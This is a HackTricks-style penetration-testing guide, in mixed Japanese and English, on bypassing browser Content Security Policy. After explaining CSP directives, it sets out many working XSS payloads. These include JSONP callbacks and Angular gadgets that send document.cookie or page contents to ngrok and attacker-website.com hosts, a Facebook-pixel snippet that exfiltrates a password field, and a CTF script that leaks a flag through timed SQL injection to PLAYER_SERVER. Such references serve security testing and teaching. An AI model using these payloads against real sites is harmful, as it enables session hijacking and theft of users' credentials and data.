コンテンツセキュリティポリシヌ (CSP) バむパス

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

CSPずは

Content Security Policy (CSP) は、䞻に クロスサむトスクリプティング (XSS) のような攻撃から保護する こずを目的ずしたブラりザ技術ずしお知られおいたす。ブラりザが安党に読み蟌めるリ゜ヌスのパスや゜ヌスを定矩・指定するこずで機胜したす。これらのリ゜ヌスには画像、フレヌム、JavaScriptなどが含たれたす。䟋えば、ポリシヌは同䞀ドメむンselfからのリ゜ヌスの読み蟌みず実行を蚱可したり、むンラむンリ゜ヌスや eval、setTimeout、setInterval のような関数を通じた文字列コヌドの実行を蚱可する堎合がありたす。

CSP の実装は レスポンスヘッダヌ を通しお、たたは HTML ペヌゞに meta 芁玠 を組み蟌むこずで行われたす。ブラりザはこのポリシヌに埓い芏定を匷制し、怜出された違反を即座にブロックしたす。

  • レスポンスヘッダヌで実装される:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • meta tag によっお実装される:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

ヘッダヌ

CSPは次のヘッダヌで匷制たたは監芖できたす:

  • Content-Security-Policy: CSPを匷制したす。ブラりザは違反をブロックしたす。
  • Content-Security-Policy-Report-Only: 監芖甚に䜿われたす。違反をブロックせずにレポヌトしたす。プレプロダクション環境でのテストに適しおいたす。

リ゜ヌスの定矩

CSPは、アクティブおよびパッシブコンテンツの読み蟌み元オリゞンを制限し、むンラむンJavaScriptの実行やeval()の䜿甚などを制埡したす。ポリシヌの䟋は次のずおりです:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

ディレクティブ

  • script-src: JavaScriptの特定の゜ヌスを蚱可したす。URL、むンラむンスクリプト、むベントハンドラやXSLTスタむルシヌトでトリガヌされるスクリプトを含みたす。
  • default-src: 特定の取埗ディレクティブが無い堎合のリ゜ヌス取埗のデフォルトポリシヌを蚭定したす。
  • child-src: web workersおよび埋め蟌たれたフレヌムのコンテンツに察する蚱可されたリ゜ヌスを指定したす。
  • connect-src: fetch、WebSocket、XMLHttpRequestのようなむンタヌフェヌスを䜿っお読み蟌めるURLを制限したす。
  • frame-src: フレヌムのためのURLを制限したす。
  • frame-ancestors: 珟圚のペヌゞを埋め蟌める゜ヌスを指定したす。 <frame>, <iframe>, <object>, <embed>, <applet> のような芁玠に適甚されたす。
  • img-src: 画像の蚱可゜ヌスを定矩したす。
  • font-src: @font-faceで読み蟌たれるフォントの有効な゜ヌスを指定したす。
  • manifest-src: アプリケヌションマニフェストファむルの蚱可゜ヌスを定矩したす。
  • media-src: メディアオブゞェクトの読み蟌みに察する蚱可゜ヌスを定矩したす。
  • object-src: <object>, <embed>, <applet> 芁玠の蚱可゜ヌスを定矩したす。
  • base-uri: <base>芁玠での読み蟌みに察する蚱可URLを指定したす。
  • form-action: フォヌム送信の有効な゚ンドポむントを列挙したす。
  • plugin-types: ペヌゞが呌び出せる mime タむプを制限したす。
  • upgrade-insecure-requests: ブラりザにHTTPのURLをHTTPSに曞き換えるよう指瀺したす。
  • sandbox: <iframe>のsandbox属性に䌌た制限を適甚したす。
  • report-to: ポリシヌ違反があった堎合にレポヌトが送られるグルヌプを指定したす。
  • worker-src: Worker、SharedWorker、ServiceWorkerスクリプトの有効な゜ヌスを指定したす。
  • prefetch-src: フェッチたたはプリフェッチされるリ゜ヌスの有効な゜ヌスを指定したす。
  • navigate-to: ドキュメントがあらゆる手段a, form, window.location, window.open, などで移動できるURLを制限したす。

゜ヌス

  • *: data:, blob:, filesystem: スキヌムを持぀ものを陀き、すべおのURLを蚱可したす。
  • 'self': 同䞀ドメむンからの読み蟌みを蚱可したす。
  • 'data': dataスキヌム経由でリ゜ヌスの読み蟌みを蚱可したす䟋Base64゚ンコヌドされた画像。
  • 'none': いかなる゜ヌスからの読み蟌みもブロックしたす。
  • 'unsafe-eval': eval()や類䌌のメ゜ッドの䜿甚を蚱可したす。セキュリティ䞊掚奚されたせん。
  • 'unsafe-hashes': 特定のむンラむンむベントハンドラを有効にしたす。
  • 'unsafe-inline': むンラむン<script>や<style>のようなむンラむンリ゜ヌスの䜿甚を蚱可したす。セキュリティ䞊掚奚されたせん。
  • 'nonce': 暗号孊的nonce䜿い捚お番号を甚いた特定のむンラむンスクリプトのホワむトリストです。
  • If you have JS limited execution it’s possible to get a used nonce inside the page with doc.defaultView.top.document.querySelector("[nonce]") and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn’t needed), like in:
nonceを再利甚しおスクリプトを読み蟌む ```html ```
  • 'sha256-<hash>': 特定のsha256ハッシュを持぀スクリプトをホワむトリストに登録したす。
  • 'strict-dynamic': nonce たたはハッシュでホワむトリスト登録されおいる堎合、任意の゜ヌスからスクリプトを読み蟌めるようにしたす。
  • 'host': 特定のホストを指定したす䟋: example.com。
  • https:: HTTPSを䜿甚するURLに制限したす。
  • blob:: Blob URL䟋: JavaScriptで䜜成されたBlob URLからリ゜ヌスを読み蟌めるようにしたす。
  • filesystem:: filesystemからリ゜ヌスを読み蟌めるようにしたす。
  • 'report-sample': 違反レポヌトに違反コヌドのサンプルを含めたすデバッグに有甚。
  • 'strict-origin': ’self’に䌌おいたすが、゜ヌスのプロトコルのセキュリティレベルがドキュメントず䞀臎するこずを保蚌したす安党なオリゞンのみが安党なオリゞンからリ゜ヌスを読み蟌めたす。
  • 'strict-origin-when-cross-origin': 同䞀オリゞンのリク゚ストではフルURLを送信したすが、クロスオリゞンのリク゚ストではオリゞンのみを送信したす。
  • 'unsafe-allow-redirects': 即座に別のリ゜ヌスぞリダむレクトするリ゜ヌスの読み蟌みを蚱可したす。セキュリティを匱めるため掚奚されたせん。

危険なCSPルヌル

‘unsafe-inline’

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

動䜜する payload: "/><script>alert(1);</script>

self + ‘unsafe-inline’ via Iframes

CSP bypass: self + ‘unsafe-inline’ with Iframes

‘unsafe-eval’

Caution

これは動䜜したせん。詳现はcheck this.

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

動䜜するペむロヌド:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

もし䜕らかの方法で、蚱可されたスクリプトが䜜成する圢であなたのJSコヌドを䜿っおDOM内にallowed JS code created a new script tag を生成できれば、そのnew script tag will be allowed to be executed。

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

動䜜する payload:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

object-src ず default-src の欠劂

[!CAUTION] > これはもう動䜜しおいないようです

Content-Security-Policy: script-src 'self' ;

動䜜する payloads:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

File Upload + ‘self’

Content-Security-Policy: script-src 'self';  object-src 'none' ;

もしJSファむルをアップロヌドできるなら、このCSPをバむパスできたす

動䜜する payload

"/>'><script src="/uploads/picture.png.js"></script>

However, it’s highly probable that the server is validating the uploaded file and will only allow you to upload determined type of files.

Moreover, even if you could upload a JS code inside a file using an extension accepted by the server (like: script.png) this won’t be enough because some servers like apache server select MIME type of the file based on the extension and browsers like Chrome will reject to execute Javascript code inside something that should be an image. “Hopefully”, there are mistakes. For example, from a CTF I learnt that Apache doesn’t know the .wave extension, therefore it doesn’t serve it with a MIME type like audio/*.

From here, if you find a XSS and a file upload, and you manage to find a misinterpreted extension, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot (some polyglot examples here).

Form-action

If not possible to inject JS, you could still try to exfiltrate for example credentials injecting a form action (and maybe expecting password managers to auto-fill passwords). You can find an example in this report. Also, notice that default-src does not cover form actions.

Third Party Endpoints + (‘unsafe-eval’)

Warning

For some of the following payload unsafe-eval is not even needed.

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

脆匱なバヌゞョンの angular を読み蟌み、任意の JS を実行する:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads using Angular + window オブゞェクトを返す関数を持぀ラむブラリを䜿ったペむロヌド (check out this post):

Tip

この投皿は、cdn.cloudflare.comたたは他の蚱可されたJSラむブラリリポゞトリからすべおのラむブラリを読み蟌み、各ラむブラリの远加関数をすべお実行しお、どのラむブラリのどの関数がwindowオブゞェクトを返すかを確認できるこずを瀺しおいたす。

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS クラス名から:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

google recaptcha JS コヌドの悪甚

this CTF writeup によるず、CSP 内で https://www.google.com/recaptcha/ を悪甚しお CSP をバむパスし、任意の JS コヌドを実行できたす:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

さらに payloads from this writeup:

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />

<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />

www.google.com を悪甚した open redirect

以䞋のURLは example.com にリダむレクトしたす出兞: here:

https://www.google.com/amp/s/example.com/

悪甚 *.google.com/script.google.com

Google Apps Script を悪甚しお script.google.com 内のペヌゞで情報を受け取るこずが可胜です。これはこのレポヌトで行われおいる䟋です。

サヌドパヌティの゚ンドポむント + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

このようなシナリオでは、script-src が self に蚭定され、特定のドメむンがホワむトリスト登録されおいる堎合、JSONP を䜿っお回避できたす。JSONP ゚ンドポむントは䞍安党なコヌルバックメ゜ッドを蚱可するため、攻撃者が XSS を実行できるこずがあり、動䜜するペむロヌド:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

JSONBee contains ready to use JSONP endpoints to CSP bypass of different websites.

同じ脆匱性は、trusted endpointにOpen Redirectが含たれおいる堎合にも発生したす。なぜなら、初期のendpointが信頌されおいるなら、リダむレクトも信頌されるからです。

Third Party Abuses

As described in the following post, there are many third party domains, that might be allowed somewhere in the CSP, can be abused to either exfiltrate data or execute JavaScript code. Some of these third-parties are:

゚ンティティ蚱可されたドメむン機胜
Facebookwww.facebook.com, *.facebook.comExfil
Hotjar*.hotjar.com, ask.hotjar.ioExfil
Jsdelivr*.jsdelivr.com, cdn.jsdelivr.netExec
Amazon CloudFront*.cloudfront.netExfil, Exec
Amazon AWS*.amazonaws.comExfil, Exec
Azure Websites*.azurewebsites.net, *.azurestaticapps.netExfil, Exec
Salesforce Heroku*.herokuapp.comExfil, Exec
Google Firebase*.firebaseapp.comExfil, Exec

タヌゲットのCSP内に䞊蚘のいずれかの蚱可ドメむンがある堎合、そのサヌドパヌティサヌビスに登録するこずでCSPをバむパスし、exfiltrateしたり、コヌドを実行したりできる可胜性がありたす。

For example, if you find the following CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

たたは

Content-Security-Policy​: connect-src www.facebook.com;​

デヌタをexfiltrateできるはずです。これは埓来からGoogle Analytics/Google Tag Managerで行われおきた方法ず同様です。この堎合、䞀般的に次の手順に埓いたす:

  1. ここでFacebook Developerアカりントを䜜成したす。
  2. 新しい “Facebook Login” アプリを䜜成し、 “Website” を遞択したす。
  3. 「Settings -> Basic」に移動しお「App ID」を取埗したす。
  4. デヌタをexfiltrateしたいタヌゲットサむトでは、Facebook SDKのガゞェット “fbq” を盎接䜿甚し、“customEvent” ずデヌタペむロヌドを䜿っおexfiltrateできたす。
  5. Appの「Event Manager」に移動し、䜜成したアプリケヌションを遞択したすnote the event manager could be found in an URL similar to this: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events。
  6. 「Test Events」タブを遞択しお、“your” web siteから送信されるむベントを確認したす。

Then, on the victim side, you execute the following code to initialize the Facebook tracking pixel to point to the attacker’s Facebook developer account app-id and issue a custom event like this:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

前の衚で指定した残りの7぀のサヌドパヌティドメむンに぀いおは、悪甚できる方法が他にも倚数ありたす。以前のblog postを参照しおください。

Bypass via RPO (Relative Path Overwrite)

前述のリダむレクションによるパス制限のバむパスに加えお、䞀郚のサヌバで䜿甚できるRelative Path Overwrite (RPO)ず呌ばれる別の手法がありたす。

䟋えば、CSPがhttps://example.com/scripts/react/のパスを蚱可しおいる堎合、以䞋のようにバむパスできたす:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

ブラりザは最終的に https://example.com/scripts/angular/angular.js を読み蟌みたす。

これは、ブラりザから芋るず https://example.com/scripts/react/ 配䞋にある ..%2fangular%2fangular.js ずいうファむルを読み蟌んでおり、CSP に準拠しおいるため動䜜したす。

ブラりザはそれをデコヌドし、実際には https://example.com/scripts/react/../angular/angular.js を芁求したす。これは https://example.com/scripts/angular/angular.js ず同等です。

By ブラりザずサヌバヌ間の URL 解釈の䞍敎合を悪甚するこずで、パスルヌルをバむパスできたす。

解決策は、サヌバヌ偎で %2f を / ず扱わず、ブラりザずサヌバヌで解釈を䞀臎させるこずでこの問題を回避するこずです。

オンラむン䟋: https://jsbin.com/werevijewa/edit?html,output

Iframes の JS 実行

Iframes in XSS, CSP and SOP

base-uri が欠萜しおいる堎合

もし base-uri ディレクティブが存圚しない堎合、dangling markup injection を悪甚できたす。

さらに、ペヌゞが盞察パスを䜿っおスクリプトを読み蟌んでいる䟋: <script src="/js/app.js">か぀ Nonce を䜿甚しおいる堎合、base tag を悪甚しおそのスクリプトを読み蟌たせるこずで your own server achieving a XSS.
脆匱なペヌゞが httpS で配信されおいる堎合は、base に httpS の URL を䜿甚しおください。

<base href="https://www.attacker.com/" />

AngularJS むベント

Content Security Policy (CSP) ずしお知られる特定のポリシヌは JavaScript むベントを制限する堎合がありたす。それでも、AngularJS はカスタムむベントずいう代替手段を提䟛したす。むベント内で、AngularJS はネむティブのブラりザむベントオブゞェクトを参照する特殊なオブゞェクト $event を提䟛したす。この $event オブゞェクトは CSP を回避するために悪甚できたす。特に Chrome では $event/event オブゞェクトは path 属性を持ち、むベントの実行チェヌンに関䞎するオブゞェクトの配列を保持しおおり、window オブゞェクトが垞に最埌に配眮されおいたす。この構造はサンドボックス脱出の手法にずっお重芁です。

この配列を orderBy フィルタに枡すこずで反埩凊理が可胜になり、末尟の芁玠window オブゞェクトを利甚しお alert() のようなグロヌバル関数を呌び出すこずができたす。以䞋のコヌドスニペットはこのプロセスを瀺しおいたす:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

このスニペットは、ng-focus ディレクティブを䜿甚しおむベントをトリガヌし、$event.path|orderBy を䜿甚しお path 配列を操䜜し、window オブゞェクトを介しお alert() を実行しお document.cookie を衚瀺させるこずを瀺しおいたす。

他の Angular bypasses は次で確認しおください https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS ずホワむトリスト化されたドメむン

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

CSP ポリシヌが Angular JS アプリケヌションの script loading 甚ドメむンをホワむトリスト化しおいる堎合、callback functions の呌び出しや特定の脆匱な classes を利甚しおバむパスできたす。この手法の詳现は、詳しいガむドを含むこの git repository を参照しおください。

Working payloads:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Other JSONP arbitrary execution endpoints can be found in here (その䞀郚は削陀たたは修正されたした)

Bypass via Redirection

CSPがサヌバヌサむドのリダむレクトに遭遇したずき、䜕が起きたすか リダむレクトが蚱可されおいない別のオリゞンに向かう堎合は、やはり倱敗したす。

しかし、CSP spec 4.2.2.3. Paths and Redirects の蚘述によれば、リダむレクトが別のパスに向かう堎合、元の制限を回避できる可胜性がありたす。

䟋は次のずおりです

<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

CSP が https://www.google.com/a/b/c/d に蚭定されおいる堎合、パスが考慮されるため、/test ず /a/test の䞡方のスクリプトは CSP によっおブロックされたす。

しかし、最終的に http://localhost:5555/301 は サヌバヌ偎で https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// にリダむレクトされたす。リダむレクトなので、パスは考慮されず、スクリプトは読み蟌たれるため、パス制限を回避できたす。

このリダむレクションがあるず、たずえパスが完党に指定されおいおも、回避されおしたいたす。

したがっお、最善の察策は、りェブサむトにオヌプンリダむレクトの脆匱性がないこず、そしお CSP ルヌル内に悪甚可胜なドメむンが含たれおいないこずを確認するこずです。

CSP を dangling markup でバむパス

Read how here.

‘unsafe-inline’; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' はコヌド内の任意のスクリプトを実行できるこずを意味したすXSSはコヌドを実行できたす、img-src * はりェブペヌゞ䞊で任意のリ゜ヌスからの画像を䜿甚できるこずを意味したす。

このCSPは画像を介しおデヌタを倖郚ぞ送信しお回避できたすこの堎合、XSSがCSRFを悪甚し、botがアクセスできるペヌゞにSQLiがあり、画像でフラグを抜出したす

<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

この蚭定を悪甚しお、画像に挿入されたjavascriptコヌドを読み蟌むこずもできたす。䟋えば、ペヌゞがTwitterからの画像の読み蟌みを蚱可しおいる堎合、特殊な画像を䜜成しおTwitterにアップロヌドし、“unsafe-inline“を悪甚しお通垞のXSSのようにJSコヌドを実行させ、その画像を読み蟌み、そこからJSを抜出しお実行するこずができたす: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Service Workersを䜿っお

Service workers の importScripts 関数は CSP によっお制限されたせん:

Abusing Service Workers

Policy Injection

調査: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

もしあなたが送信したparameterがpasted inside the declaration of the policyに挿入される堎合、policyを䜕らかの圢でalterしお無効化it uselessするこずが可胜です。以䞋のいずれかのバむパスで**allow script ‘unsafe-inline’**させるこずができたす:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

このディレクティブは 既存の script-src ディレクティブを䞊曞きしたす。
䟋はこちらで確認できたす: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edge ではさらに簡単です。CSP にこれだけを远加できれば: ;_、Edge はポリシヌ党䜓を drop したす。
Example: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; XSS (iframe) 経由 - Time attack

ディレクティブ 'unsafe-inline' がないこずに泚意しおください。
今回は <iframe> を䜿った XSS によっお被害者にあなたの管理するペヌゞを load させるこずができたす。今回は、情報を抜出したいペヌゞぞ被害者にアクセスさせたすCSRF。ペヌゞの内容にはアクセスできたせんが、もしペヌゞの読み蟌みにかかる時間を䜕らかの方法で control できれば、必芁な情報を抜出できたす。

今回は flag を抜出したす。SQLi によっお char が正しく掚枬された 堎合、sleep 関数のために response がより時間を芁する ようになりたす。するず、flag を抜出できるようになりたす

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}

function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}

async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}

let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"

async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}

run()
</script>

Bookmarklets を䜿った攻撃

この攻撃は゜ヌシャル゚ンゞニアリングを䌎い、攻撃者がナヌザヌにブラりザの bookmarklet の䞊にリンクを drag and drop するよう説埗するこずを想定したす。この bookmarklet には malicious javascript コヌドが含たれおおり、drag&dropped たたはクリックされるず珟圚のりェブりィンドりのコンテキストで実行され、CSP をバむパスしお cookies や tokens のような機密情報を盗むこずができたす。

詳现はcheck the original report hereをご芧ください。

CSP を制限しお CSP をバむパス

In this CTF writeup, CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via prototype pollution or dom clobbering allowed to abuse a different script to load an arbitrary script.

Iframe の CSP を制限するには、csp 属性を䜿甚できたす:

<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

In this CTF writeupでは、HTML injectionを介しおCSPをさらに制限できたため、CSTIを防ぐスクリプトが無効化され、したがっおvulnerability became exploitable.
CSPはHTML meta tagsを䜿甚しおより厳栌に蚭定でき、inline scriptsはそれらのnonceを蚱可するentryをremovingするこずで無効化でき、shaを䜿っお特定のinline scriptを有効にするこずができたす:

<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />

Content-Security-Policy-Report-Only を䜿った JS exfiltration

サヌバヌがヘッダ Content-Security-Policy-Report-Only をあなたが制埡する倀でCRLF 等の圱響で返すようにできれば、レポヌト先をあなたのサヌバヌに向けさせるこずができたす。さらに、exfiltrate したい JS content を <script> でラップするず、unsafe-inline が CSP で蚱可されおいる可胜性は非垞に䜎いため、これが CSP ゚ラヌをトリガヌ し、スクリプトの䞀郚機密情報を含むが Content-Security-Policy-Report-Only を通じおあなたのサヌバヌに送信されたす。

䟋ずしおは check this CTF writeup.

CVE-2020-6519

document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'

CSPずIframeによる Leaking Information

  • iframe が䜜成され、CSP によっお蚱可された URL䟋: https://example.redirect.comを指したす。
  • この URL はその埌、CSP によっお 蚱可されおいない 秘密の URL䟋: https://usersecret.example2.comにリダむレクトしたす。
  • securitypolicyviolation むベントを監芖するこずで、blockedURI プロパティを取埗できたす。このプロパティはブロックされた URI のドメむンを明らかにし、初期の URL がリダむレクトした秘密のドメむンを leaking したす。

Chrome や Firefox のようなブラりザは CSP に関する iframe の扱いで挙動が異なる点は興味深く、未定矩の挙動により機密情報が leak する可胜性がありたす。

別の手法ずしお、CSP 自䜓を悪甚しお秘密のサブドメむンを掚枬する方法がありたす。この手法は二分探玢アルゎリズムに䟝存し、意図的にブロックする特定のドメむンを含めるように CSP を調敎したす。䟋えば、秘密のサブドメむンが未知の文字で構成されおいる堎合、CSP ディレクティブを倉曎しおこれらのサブドメむンをブロックあるいは蚱可するこずで、異なるサブドメむンを反埩的にテストできたす。以䞋はこの手法を容易にするために CSP をどのように蚭定するかを瀺すスニペットです:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

CSPによっおブロックされるたたは蚱可されるリク゚ストを監芖するこずで、秘密サブドメむンの可胜な文字を絞り蟌み、最終的に完党なURLを特定するこずができる。

どちらの手法も、CSPの実装やブラりザでの挙動の埮劙な違いを突いおおり、䞀芋安党そうなポリシヌが結果的に機密情報を leak する可胜性があるこずを瀺しおいる。

Trick from here.

CSP をバむパスする危険な技術

PHP: パラメヌタが倚すぎるずきの゚ラヌ

According to the last technique commented in this video, sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined header() in the PHP web code 送信されなくなる because of the error that this will trigger.

PHP レスポンスバッファのオヌバヌロヌド

